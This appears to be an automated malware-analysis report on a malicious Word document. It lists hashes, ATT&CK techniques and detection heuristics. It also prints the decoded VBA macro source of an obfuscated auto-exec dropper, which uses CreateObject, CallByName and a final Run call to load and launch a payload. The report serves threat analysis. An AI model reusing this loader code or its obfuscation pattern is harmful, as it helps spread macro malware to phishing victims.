Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8c7efff245539ef8…

MALICIOUS

Office (OLE)

129.5 KB Created: 2020-07-02 08:22:00 Authoring application: Microsoft Office Word First seen: 2020-08-25
MD5: 35908bef40dcc6d9037f9c7c5d06ae76 SHA-1: fafaaf13dd7dcce18cfb8ef669dbbd949d7dcc66 SHA-256: 8c7efff245539ef8e63c62a305c57fbddf30244b9f12765f6df22b6321871bbc
322 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate/Decode Files or Information T1204.002 Malicious File

The sample contains obfuscated VBA macros within a Document_Open auto-execution function, designed to bypass security measures and execute arbitrary code. The presence of a "Please Enable Editing and Content" lure strongly suggests a phishing attempt to get the user to enable macros. The ClamAV detection 'Doc.Dropper.HexEncodedEXEHeader-9789587-1' indicates the primary function is to drop and execute a secondary payload.

Heuristics 9

  • ClamAV: Doc.Dropper.HexEncodedEXEHeader-9789587-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.HexEncodedEXEHeader-9789587-1
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10284 bytes
SHA-256: 9623b8fbefcd5e45064487df410b4116daa31f00b39c3cb6de2b3704223b6c20
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private Function nUuSHJH(qOMxigV)
    On Error Resume Next
    Dim xrYrDhK, aEgyZMI
    Set xrYrDhK = CreateObject(Replace(ActiveDocument.Shapes.Range(a("03U ZUL 9Z017")).TextFrame.TextRange.Text, vbCr, ""))
    Set aEgyZMI = CallByName(xrYrDhK, Replace(ActiveDocument.Shapes.Range(a("03wjVM3w9j5V3")).TextFrame.TextRange.Text, vbCr, ""), 1, Replace(ActiveDocument.Shapes.Range(a("03pPhpYP4h154")).TextFrame.TextRange.Text, vbCr, ""))
    CallByName aEgyZMI, Replace(ActiveDocument.Shapes.Range(a("02@H@T7H188")).TextFrame.TextRange.Text, vbCr, ""), 4, Replace(ActiveDocument.Shapes.Range(a("02SASU359A5")).TextFrame.TextRange.Text, vbCr, "")
    CallByName aEgyZMI, Replace(ActiveDocument.Shapes.Range(a("03hVnhDV885n7")).TextFrame.TextRange.Text, vbCr, ""), 4, qOMxigV
    nUuSHJH = CallByName(aEgyZMI, Replace(ActiveDocument.Shapes.Range(a("04wQoMSw9Q8o7M7")).TextFrame.TextRange.Text, vbCr, ""), 2)
End Function

Function Cabih()
    

    Dim f As String
    f = CallByName(CallByName(CallByName(CallByName(CallByName(ActiveDocument, a("02q8Secqtion8s"), 2)(1), a("0571ajd7F1ooatjedrs"), 2)(1), a("02UAURAange"), 2), a("04?GcXIn?liGneGShcaXpes"), 2)(1), a("06WfoD4dAlWtfernaotDi4veTedxt"), 2)
    
    Dim gdrpDKK As String
    gdrpDKK = Replace(ActiveDocument.Shapes.Range(a("03JviJM5v3i81")).TextFrame.TextRange.Text, vbCr, "")
   
    KFECHyO = Replace(ActiveDocument.Shapes.Range(a("01:E37:87")).TextFrame.TextRange.Text, vbCr, "")

    Dim eiuARKU As Object, ZqJwCcC As Object, nhQqnkg As Object

    zppvInE = Replace(ActiveDocument.Shapes.Range(a("02xuxLu1996")).TextFrame.TextRange.Text, vbCr, "")

    Set EAIinBB = CreateObject(Replace(ActiveDocument.Shapes.Range(a("03EwAEZ1w83A7")).TextFrame.TextRange.Text, vbCr, ""))
    EAIinBB.ManifestText = zppvInE
    Set eiuARKU = CallByName(EAIinBB, Replace(ActiveDocument.Shapes.Range(a("03OsXEO83s3X8")).TextFrame.TextRange.Text, vbCr, ""), 1, Replace(ActiveDocument.Shapes.Range(a("017A18739")).TextFrame.TextRange.Text, vbCr, ""))
    Set ZqJwCcC = CallByName(EAIinBB, Replace(ActiveDocument.Shapes.Range(a("04gaq4gEa8q3348")).TextFrame.TextRange.Text, vbCr, ""), 1, Replace(ActiveDocument.Shapes.Range(a("03q3DPq235D15")).TextFrame.TextRange.Text, vbCr, ""))
    Set nhQqnkg = CallByName(EAIinBB, Replace(ActiveDocument.Shapes.Range(a("01yE83y38")).TextFrame.TextRange.Text, vbCr, ""), 1, Replace(ActiveDocument.Shapes.Range(a("022J2T558J4")).TextFrame.TextRange.Text, vbCr, ""))

    Dim URmssXF
    URmssXF = nUuSHJH(gdrpDKK)

    For Each pQEVIWl In URmssXF
        CallByName eiuARKU, Replace(ActiveDocument.Shapes.Range(a("03at aKt32 97")).TextFrame.TextRange.Text, vbCr, ""), 1, pQEVIWl
    Next pQEVIWl

    eiuARKU.Position = 0

    Dim pKgAJek As Object, ugDzsXR As Object
    Set pKgAJek = CallByName(ZqJwCcC, Replace(ActiveDocument.Shapes.Range(a("046Mfh6KM7f03h5")).TextFrame.TextRange.Text, vbCr, ""), 1, eiuARKU)
    nhQqnkg.Add Empty
    
    Set xEkdbCI = CallByName(pKgAJek, Replace(ActiveDocument.Shapes.Range(a("01 L41 62")).TextFrame.TextRange.Text, vbCr, ""), 1, CallByName(nhQqnkg, Replace(ActiveDocument.Shapes.Range(a("03RvDOR2v1D77")).TextFrame.TextRange.Text, vbCr, ""), 1))
    Set EKUKFci = CallByName(xEkdbCI, Replace(ActiveDocument.Shapes.Range(a("01AJ42A52")).TextFrame.TextRange.Text, vbCr, ""), 1, KFECHyO)
    
    CallByName EKUKFci, "Run", 1, a("13IqhXk1SB7?MOjuC@V/{c:I\q\WihnXdokw1sS\B\7sys?temM3O2\\?mjsupaCint@.Ve/x{e"), a(f), a("04tV8@etxpVlor8er.e@xe"), 0

End Function



Sub AllTablesToHeadings()
 For Each aTable In ActiveDocument.Tables
     For Each oRow In aTable.Rows
       oRow.Cells(1).Select
       With Selection
         .InsertParagraphBefore
         .InsertBefore "Requirement converted from table cell "
       End With
     
... (truncated)

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